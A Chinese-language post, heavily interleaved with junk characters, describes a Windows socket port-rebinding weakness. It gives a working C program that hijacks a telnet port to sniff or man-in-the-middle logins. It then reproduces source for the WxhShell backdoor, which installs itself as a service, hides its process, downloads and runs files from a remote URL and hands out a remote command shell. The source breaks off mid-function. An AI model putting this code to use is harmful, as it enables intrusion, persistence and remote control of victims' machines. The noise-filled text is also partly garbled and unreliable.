在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
cy( WD#^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Qg
gx: gP>`DPgb^ saddr.sin_family = AF_INET;
f/%QMhM: nCdxn#| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mI3
\n f VpE&F bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(-hGb: 5c6?$v/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
yxL(mt8 ~cW,B} 这意味着什么?意味着可以进行如下的攻击:
hD>cxo E9v_6d[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>vc$3%L[$ VK]sK e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
s92SN F}g 0tp3mYd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+jGSD@32> ])$Rw$`w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%j2ZQ/z uxD$dd? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Zf8_ko;|:- 6,Y<1b*|Vo 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
VgcLG ]tE[ <P1x3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x10u?@ "'*w_H0 #include
'(yjq< #include
a X:,1^ #include
<~-cp61z; #include
=.8fES DWORD WINAPI ClientThread(LPVOID lpParam);
v0'`K 5M int main()
N9gbj%+ {
y-^m WORD wVersionRequested;
fHR^?\VVp DWORD ret;
Ig"QwvR WSADATA wsaData;
^Qa!{9o[ BOOL val;
nypG SOCKADDR_IN saddr;
0XUWK@)P SOCKADDR_IN scaddr;
y6N }R int err;
hSF4-Vvb SOCKET s;
_!Ir|j.A SOCKET sc;
;A;FR3=) int caddsize;
$ {5|{` HANDLE mt;
!ui:0_ DWORD tid;
<5:`tC2 wVersionRequested = MAKEWORD( 2, 2 );
Z<@dM2b) err = WSAStartup( wVersionRequested, &wsaData );
/{*0
\`; if ( err != 0 ) {
Eao^/MKx- printf("error!WSAStartup failed!\n");
[7@9wa1v! return -1;
bz\-%$^k }
)lDmYt7me saddr.sin_family = AF_INET;
kNrN72qg s>1Wjz2M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
IH$ZPux qB8R4wCf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
dE]yb|Ld saddr.sin_port = htons(23);
*^Xtorqo if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xmBGZ4f% {
B"=w9w] printf("error!socket failed!\n");
XCUU(H return -1;
9KGi%UIFvn }
4g^Xe- val = TRUE;
]@9ZUtU,;N //SO_REUSEADDR选项就是可以实现端口重绑定的
Y]])Tq;h5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uo[W|Q {
,AEaW printf("error!setsockopt failed!\n");
k5/W'*P return -1;
d@e2+3< }
5!*@gn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z[?zaQ$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
RSK5 }2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$Z[W}7{pt# d}--}&r if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a5nA'=|}i {
FoB^iA6e ret=GetLastError();
[
F7ru4"{ printf("error!bind failed!\n");
Dwuao`~Xm return -1;
Bbzmq }
&^1{x`Qo= listen(s,2);
3T84f[CFJ while(1)
br4?_, {
q3}WO]TBj caddsize = sizeof(scaddr);
~1.B
fOR8 //接受连接请求
/YHAU5N/} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
VL2+"< if(sc!=INVALID_SOCKET)
x#c%+ {
y`8bx94jB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O"V;otlC if(mt==NULL)
nC(<eL {
=]m,7 v Rq printf("Thread Creat Failed!\n");
EUjA-L( break;
E)z=85;_p }
r%412# }
]mT2a8`c.r CloseHandle(mt);
uN+]q qCf }
"^NsbA+ closesocket(s);
4I!g?Moh WSACleanup();
g`r4f%O return 0;
w:c9Z=KX }
Z,1b$:+ DWORD WINAPI ClientThread(LPVOID lpParam)
20?@t.aMp {
Qs\*r@6? SOCKET ss = (SOCKET)lpParam;
8"yZS)09
SOCKET sc;
W@FSQ8b>$m unsigned char buf[4096];
0AD8X+M{P SOCKADDR_IN saddr;
,jq:%Y[KZ long num;
gi #dSd1\& DWORD val;
I#PhzGC@ DWORD ret;
vtF|:*h //如果是隐藏端口应用的话,可以在此处加一些判断
EaKbG> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
><i: P*ht saddr.sin_family = AF_INET;
am+w<NJ(us saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P^[y~I#{ saddr.sin_port = htons(23);
OAo;vC:^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;DXg {
e6gLYhf& printf("error!socket failed!\n");
2uLBk<m5c return -1;
O
b'Br }
w9TE E,t;5 val = 100;
za!8:( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r t'pc\|O& {
TXo`P_SE ret = GetLastError();
kJK*wq]U6 return -1;
i!;9A6D }
@UQ421Z` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qT~a`ou: {
D`R~d;U~ ret = GetLastError();
SFR<T return -1;
;cfPS }
<S3s==Cg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~'v9/I-" {
7j8lhrM}^ printf("error!socket connect failed!\n");
53WCF[ closesocket(sc);
6{!Cx9V closesocket(ss);
DM,)nh6' return -1;
X m3r)Bm'3 }
(7Ln~J* while(1)
qL4s@<|~ {
Z rv:uEl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
bs0[ a 1/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
F-Bj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
==AmL]* num = recv(ss,buf,4096,0);
mgMa)yc!dp if(num>0)
otX/sg.B* send(sc,buf,num,0);
jss.j~8 else if(num==0)
xVk5% break;
|y
pXO3 num = recv(sc,buf,4096,0);
<$??Z;6 if(num>0)
h"7~`!"~ send(ss,buf,num,0);
XK&G `cJ[ else if(num==0)
4W#DLip9 break;
+{0v@6<(02 }
RT|1M"?$ closesocket(ss);
.$fSWlM; closesocket(sc);
"
v<O)1QT return 0 ;
9oYE }
0D Lw Zc'^iDAY ,b4oV ==========================================================
2"HG6"Rr 5W0s9yD 下边附上一个代码,,WXhSHELL
C8x9 Jrc -Fq`#" ==========================================================
G*_qqb{B
&Ufp8[ #include "stdafx.h"
?dPr HSy .N7<bt@~) #include <stdio.h>
e07u@_'^ #include <string.h>
>gDeuye #include <windows.h>
!jvl"+_FV #include <winsock2.h>
3CH>!QOA #include <winsvc.h>
fN/;BT #include <urlmon.h>
n?;h-KKO: SlG^ H #pragma comment (lib, "Ws2_32.lib")
$[Q;{Q #pragma comment (lib, "urlmon.lib")
67XUhnE 1'N<ITb #define MAX_USER 100 // 最大客户端连接数
C]Y%dQh+a #define BUF_SOCK 200 // sock buffer
!_FTy^@c2 #define KEY_BUFF 255 // 输入 buffer
cyo[HI?WM zz!jt
A #define REBOOT 0 // 重启
*d`KD64 #define SHUTDOWN 1 // 关机
bp<,Xfl zhJ0to[%? #define DEF_PORT 5000 // 监听端口
5|cRHM# "j&'R#$&d #define REG_LEN 16 // 注册表键长度
Zrp-Hv27,, #define SVC_LEN 80 // NT服务名长度
wJD'q\n tW
a'[2L // 从dll定义API
\~g,;>%7Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'iTY? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#^BttI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
icb*L ~qm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
XOLE=zdSp Ii&p v // wxhshell配置信息
\B^NdG5Y struct WSCFG {
M4D @G int ws_port; // 监听端口
OE}FZCXF char ws_passstr[REG_LEN]; // 口令
cUr!U\X[ int ws_autoins; // 安装标记, 1=yes 0=no
SU1N*k#-o char ws_regname[REG_LEN]; // 注册表键名
?4oP=. char ws_svcname[REG_LEN]; // 服务名
TW|- 0
char ws_svcdisp[SVC_LEN]; // 服务显示名
vZW[y5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
TyjZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
plp-[eKcD int ws_downexe; // 下载执行标记, 1=yes 0=no
F{.\i *$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
mz+UkA' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+xvn n ;6~5FTmV };
Oxa8u e? }%z%}V@(& // default Wxhshell configuration
;>L8&m)R5 struct WSCFG wscfg={DEF_PORT,
0ckmHv "xuhuanlingzhe",
bkc*it 1,
|j81?4<)v "Wxhshell",
jFJ}sX9] "Wxhshell",
;b:'i&r
"WxhShell Service",
5\=
y9Z- x "Wrsky Windows CmdShell Service",
N.H<'Q8& "Please Input Your Password: ",
/&<V5?1| 1,
!/!ga)Y "
http://www.wrsky.com/wxhshell.exe",
_6V1oe2 "Wxhshell.exe"
iEZ+Znon };
m[KmXPFht1 JXMH7 // 消息定义模块
lx=tOfj8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]%y>l j?Y char *msg_ws_prompt="\n\r? for help\n\r#>";
46pR!k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7~F~ 'V char *msg_ws_ext="\n\rExit.";
xQ7U$QF|] char *msg_ws_end="\n\rQuit.";
"l9aBBiu char *msg_ws_boot="\n\rReboot...";
:o .+<_& char *msg_ws_poff="\n\rShutdown...";
=JW-EQ6[T char *msg_ws_down="\n\rSave to ";
!><asaB]1 ;g? |y(xv char *msg_ws_err="\n\rErr!";
vzFpXdt char *msg_ws_ok="\n\rOK!";
5A*&!1T O$}.b=N9 char ExeFile[MAX_PATH];
3z(4axH' int nUser = 0;
"TJ*mN.i{} HANDLE handles[MAX_USER];
k=[s%O6H int OsIsNt;
92t.@!m` -fl6M-CYX SERVICE_STATUS serviceStatus;
,oh;(|= SERVICE_STATUS_HANDLE hServiceStatusHandle;
{?5iK1|}K ,`k&9o7 // 函数声明
Dsp$Nr%* int Install(void);
fggs
;Le int Uninstall(void);
jS~Pdz int DownloadFile(char *sURL, SOCKET wsh);
jeJgDAUv int Boot(int flag);
`d$@1 void HideProc(void);
-YAtM-VL int GetOsVer(void);
|oke)w=gn int Wxhshell(SOCKET wsl);
QxdC[t$Lp void TalkWithClient(void *cs);
P!E2.K, int CmdShell(SOCKET sock);
5K 2K'ZkI int StartFromService(void);
Z#L4n#TT int StartWxhshell(LPSTR lpCmdLine);
V^&*y+ XC)9aC@s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e1LIk1`p VOID WINAPI NTServiceHandler( DWORD fdwControl );
i/%lB y/c3x*l.xL // 数据结构和表定义
<JH,B91 SERVICE_TABLE_ENTRY DispatchTable[] =
4|E^
#C {
giX[2`^NG {wscfg.ws_svcname, NTServiceMain},
(Jw_2pHxr" {NULL, NULL}
3,Yr%`/5' };
Uu5(/vw] eF22 ~P // 自我安装
cl2_"O int Install(void)
#}FUa u$ {
V(F9=r<X char svExeFile[MAX_PATH];
_OTVQo Ap HKEY key;
Bskp&NV': strcpy(svExeFile,ExeFile);
.WqqP M|K^u.4 // 如果是win9x系统,修改注册表设为自启动
h7!O
K if(!OsIsNt) {
%z-*C'j5H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T1$E][@Iv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p>;@]!YWQ RegCloseKey(key);
=I546($ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;6Yg}L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[i/!ovcY RegCloseKey(key);
v={{$=/t return 0;
,M;9|kE* }
Vv}R
S@4U }
LK~aLa5wG }
8ROKfPj;z else {
^0}ma*gi~ )ZpI%M?) // 如果是NT以上系统,安装为系统服务
tLTavE[@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&Y=0 0 if (schSCManager!=0)
14B',]` {
r!?ga SC_HANDLE schService = CreateService
(Z(S?`') (
$M 8&&M schSCManager,
>ep<W<b wscfg.ws_svcname,
31a,i2Q4 wscfg.ws_svcdisp,
\X:e9~ SERVICE_ALL_ACCESS,
oT):#,s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M}x%'=Pox SERVICE_AUTO_START,
**Ioy+ SERVICE_ERROR_NORMAL,
hr
fF1
>A svExeFile,
su1lv# NULL,
p)yP_P NULL,
heCM+=#~ NULL,
.Q,"gsY NULL,
\D? '.Wo% NULL
lD0-S0i );
D4!;*2t if (schService!=0)
V|97; {
C~qZ& CloseServiceHandle(schService);
nc k/Dw CloseServiceHandle(schSCManager);
@%Ld\8vdfJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\Y)HSJR;e strcat(svExeFile,wscfg.ws_svcname);
Z^&G9I# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~R
w1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T+}|$/Tv RegCloseKey(key);
'K ?h6?# return 0;
S)W xTE9 }
RW. qw4 }
9efDM CloseServiceHandle(schSCManager);
5-|!mSd }
DQQ]grU }
6DHK&<=D8 +?{"Q#.>; return 1;
mrP48#Y+l }
S{+t>en 0!\C@wnH // 自我卸载
l/'GbuECm int Uninstall(void)
f=F:Af! {
A*y4<'}< HKEY key;
2d[q5p L/tpT?$fi if(!OsIsNt) {
?$f.[;mh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4H-eFs%5 RegDeleteValue(key,wscfg.ws_regname);
yxt"vm;
RegCloseKey(key);
L@S\ rImw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4>jHS\jc RegDeleteValue(key,wscfg.ws_regname);
O2{["c
e RegCloseKey(key);
SH?McBxS return 0;
#Q8_:dPY }
x.+T65X~4 }
%R c#/y }
JY,$B-l else {
Zd[rn:9\ _`udd)Y2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z!"-LQJ if (schSCManager!=0)
k<< x}= {
VhUWws3E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m^3x%ENZ if (schService!=0)
1!v{#w{u7 {
!/XNp QP if(DeleteService(schService)!=0) {
!<p,G`r CloseServiceHandle(schService);
u5oM;#{@- CloseServiceHandle(schSCManager);
|2j, return 0;
=
j1Jl^[ }
>a?Bk4w CloseServiceHandle(schService);
v1OVrk>s> }
fvC,P#z'| CloseServiceHandle(schSCManager);
Ss>pNH@c }
|U|>YA1[b }
7S a9 C
t,p return 1;
^^N|:80 }
Jl~ *@0( ( eTrqI` // 从指定url下载文件
zC2:c"E
I int DownloadFile(char *sURL, SOCKET wsh)
BPO5=]W 7 {
X0;u7g2Yz HRESULT hr;
[Yt{h9 char seps[]= "/";
hC\
l
\y char *token;
(s3k2Z char *file;
E!9WZY char myURL[MAX_PATH];
k H.dtg_ char myFILE[MAX_PATH];
r:g\ f$C{Z9_SX strcpy(myURL,sURL);
EqW~K@ token=strtok(myURL,seps);
L
kK
*. while(token!=NULL)
Ul}RT xJ {
DSU8jnrL file=token;
kUd]8Ff! token=strtok(NULL,seps);
;qWu8\T+ }
LiG$M{ 0 &i5@4,p y9 GetCurrentDirectory(MAX_PATH,myFILE);
vjS`;^9 strcat(myFILE, "\\");
E_ns4k#uG strcat(myFILE, file);
S<0 &V send(wsh,myFILE,strlen(myFILE),0);
eY<<Hld send(wsh,"...",3,0);
s;VW
%e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r2=@1=?8 if(hr==S_OK)
)5}<@Ql return 0;
V`I4"}M1 else
7}kJp%- return 1;
EF`}*7) u} ot-!}Q }
RA0;f'"` hne@I1 // 系统电源模块
b>uD-CSA int Boot(int flag)
(;{X-c}? {
_SBbd9 HANDLE hToken;
Z 1HH0{q-A TOKEN_PRIVILEGES tkp;
LikcW# l f>/ if(OsIsNt) {
k =! Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{MgRi7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b84l`J tkp.PrivilegeCount = 1;
yvd)pH<a2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5BVvT
`< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[^qT?se{ if(flag==REBOOT) {
sINQ?4_8T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
j"qND=15 return 0;
Nfa&r }
?
:H+j6+f else {
S{=5nR9 j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/WN YS return 0;
`_\KN_-%Vu }
gm9*z.S\' }
0kE[=#'.' else {
KQ\K:# if(flag==REBOOT) {
.#( vx; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Q-<]'E#\( return 0;
6
5govor }
%f]#P8VP else {
Aw#<: 6- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(]]hSkE return 0;
!xsfhLZK }
Sm'Tz&! }
CRb*sfKDL mnpk9x}m return 1;
-#Z df| }
^DYS~I%s 5$9$R(KU // win9x进程隐藏模块
&;@L]
o void HideProc(void)
"jL>P) {
X*2W4udF cH5i420;aO HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f[o~d`z if ( hKernel != NULL )
',EI[
]+ {
N~)-\T:ap pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`zQuhD 8W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y1PR?c
Q FreeLibrary(hKernel);
bzi"7%c }
"Rj
PTRe: s=8H<'l return;
v)
n- }
s$M(-"mg '09|Y#F // 获取操作系统版本
(y9KO56.V& int GetOsVer(void)
xC)bW,% {
6GxLaI OSVERSIONINFO winfo;
&S >{9y% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
zdYH9d>D GetVersionEx(&winfo);
p2STy\CS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
h@%Xy(/m' return 1;
)9eIo&Nl else
)-2Nc7 return 0;
C~En0 G1 }
3aqH!?rVU B;9,Qbb // 客户端句柄模块
!l[;,l int Wxhshell(SOCKET wsl)
F[ E'R.: {
'@{:FrG*U SOCKET wsh;
io#}z4"'qY struct sockaddr_in client;
KIF9[/P DWORD myID;
x9l7|G/$ |
eBwcC#^ while(nUser<MAX_USER)
`J.,dqGb {
Sdq}?- &Sa int nSize=sizeof(client);
[Sm<X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
t'44X if(wsh==INVALID_SOCKET) return 1;
<6Q^o[L Cut~k"lv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>_}isCd, if(handles[nUser]==0)
@|Pm%K`1 closesocket(wsh);
_(m72o0g>> else
Pe%[d[k nUser++;
|1@O>GG }
j,YrM?Xdo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tT]@yo|?e/ 0%f}Q7*R return 0;
0z=KnQx"4 }
_}R$h=YD _pdKcE\X // 关闭 socket
I\)`,w void CloseIt(SOCKET wsh)
KXt8IMP_"y {
%vmd2}dA closesocket(wsh);
A?YYR%o%' nUser--;
3BMz{ny= ExitThread(0);
p$Tk;;wm }
>G`p T# hUMG}< // 客户端请求句柄
c9/w{}F void TalkWithClient(void *cs)
JH?ohA {
Cv#aBH'N T~UDD3 SOCKET wsh=(SOCKET)cs;
+5y^c|L0 char pwd[SVC_LEN];
";/]rwHa) char cmd[KEY_BUFF];
}c,b]!: char chr[1];
88?bUA3] int i,j;
Z`-$b~0 T}Tv}~!f while (nUser < MAX_USER) {
ucl001EK x;vfmgty if(wscfg.ws_passstr) {
<'=!f6Wh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
971=OEyq* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\,;glY=M! //ZeroMemory(pwd,KEY_BUFF);
NO5k1/- i=0;
W2{w<<\$3} while(i<SVC_LEN) {
@<W` w Iy)1(upM // 设置超时
,M.C]6YMr fd_set FdRead;
~ 5}t; struct timeval TimeOut;
W|<c[S FD_ZERO(&FdRead);
KM &P5} FD_SET(wsh,&FdRead);
8^_:9&) i TimeOut.tv_sec=8;
7C|AiSH TimeOut.tv_usec=0;
'o&d!
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S*l/
Sa@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
lT[,w9 $ YnpN
-Y%g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
vP{i+s18B pwd
=chr[0]; eU"yF >6'
if(chr[0]==0xd || chr[0]==0xa) { JA^!i98{
pwd=0; R>c>wYt'f
break; ^;
KCE
} 4X=VNORlU0
i++; "%T~d[M
} W ^<AUT
U5"u
h} 3
// 如果是非法用户,关闭 socket "kApGNB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hzz{wY
} "ku[b\W
H&s`Xr
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9~V'Wev
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !*l /Pr^8
+?\JQ|
while(1) { i[z 2'tx4
6lzjaW5h
ZeroMemory(cmd,KEY_BUFF); JE O$v|X
&YIL As^8A
// 自动支持客户端 telnet标准 M~zI;:0O
j=0; Y1cL dQn
while(j<KEY_BUFF) { $#V'm{Hh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4&E"{d
>
cmd[j]=chr[0]; |5flvkid
if(chr[0]==0xa || chr[0]==0xd) { >33=0<
cmd[j]=0; _`gF%$]b
break; Mmz;
uy_
} T#*,ME7|m
j++; K+Him]
b
} yl$Ko
1ZFKLI`V
// 下载文件 1(;{w+nM
if(strstr(cmd,"http://")) { 7 2$S'O%,0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ";.j[p:gi
if(DownloadFile(cmd,wsh)) Hec8pL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WSpF/Wwc
else -UEi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _sy{rnaqvb
} 4`?PtRX
else { |0ZJ[[2
M[I=N
switch(cmd[0]) { o?ug`m"
@.sn
// 帮助 6zM:p/
case '?': { :[@rA;L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \zU<o~gs
break; F,vkk{Z>
} @*rMMy 4
// 安装 ?Nt( sZ-
case 'i': { pnu?=.O
if(Install()) K2*rqg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IWYQ67Yj
else k*_Gg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'n h^;
break; `NhG|g
} tHzgZoBz
// 卸载 0$Tb5+H5
case 'r': { QP~["%}T
if(Uninstall()) Fepsa;\sU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W9l](Ow
else n\;;T1rM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pYcs4f!?p
break; #j7&2L
} Zf>:h
// 显示 wxhshell 所在路径 r!b>!
case 'p': { QE/kR!r
char svExeFile[MAX_PATH];
/- Gq`9Z
strcpy(svExeFile,"\n\r"); ]$#bNt/p
strcat(svExeFile,ExeFile); 2lfEJw($
send(wsh,svExeFile,strlen(svExeFile),0); M*k,M=sX
break; VMABj\yG
} Uic
// 重启 aMu6{u6
case 'b': { HB#!Dv&'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7 Td
9mkO
if(Boot(REBOOT)) S\ak(<X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tRPIvq/
else { b
B#QIXY/L
closesocket(wsh); -pJ\_u/&%`
ExitThread(0); TgJ+:^+0
}
Wx}-H/t'2
break; -e$ T}3IV
} Qz=e'H
// 关机 4wv0~T$;x
case 'd': { X:t?'41m\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P7>\j*U91{
if(Boot(SHUTDOWN)) Tf=1p1!3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $@s-OQ}
else { WCY._H>|
closesocket(wsh); 0v EQgx>
ExitThread(0); qbQdxKk
} .0,G4k/yv
break; tJ\v>s-f
} <c5g-*V:
// 获取shell ADF<5#I
case 's': { Wlg 1t~1=
CmdShell(wsh); zvGncjMkC
closesocket(wsh); #e =E
ExitThread(0); F,as>X#
break; 1
jLQij
} pzt<[;
// 退出 _x|R`1`
case 'x': { >'#vC]@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P#3J@aRC
CloseIt(wsh); kXdXyq
break; uo?R;fX26
} KCpq<A%
// 离开 A;X3z-[[
case 'q': { I]+OYWp
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J>+\a1{
closesocket(wsh); CqWO 0
WSACleanup(); Hxy=J
exit(1); tSni[,4Kq
break; [c;0eFSi2
} 63'%+
} cjtcEW
} > {d9z9O
]2ab~
gr
// 提示信息 !r6Yq,3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ Y{
} SnX)&>B
} P_H2[d&/>D
o+{7"Na8[
return; !yi*Zt~
} Ve9)?=!
%<8?$-[
// shell模块句柄 mYfHBW:
int CmdShell(SOCKET sock) p< pGqW
{ bz 7?F!
STARTUPINFO si; OZz/ip-!lc
ZeroMemory(&si,sizeof(si)); Zcw<USF8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fHwS12SB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OK-*TPrc
PROCESS_INFORMATION ProcessInfo; >`[+24e
char cmdline[]="cmd"; yXIJeo"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j"Ew)6j
return 0; ^} Y}Iz
} @K S .H
[j
TU nP
// 自身启动模式 ?.-+U~
int StartFromService(void) KbciRRf!k
{ ~Hd* Xl
typedef struct g/FT6+&T.
{ Kc@Sw{JR#7
DWORD ExitStatus; zRgGSxn
DWORD PebBaseAddress; ZmkH55Cn
DWORD AffinityMask; FWp ?l
DWORD BasePriority; ^Nds@MR{8'
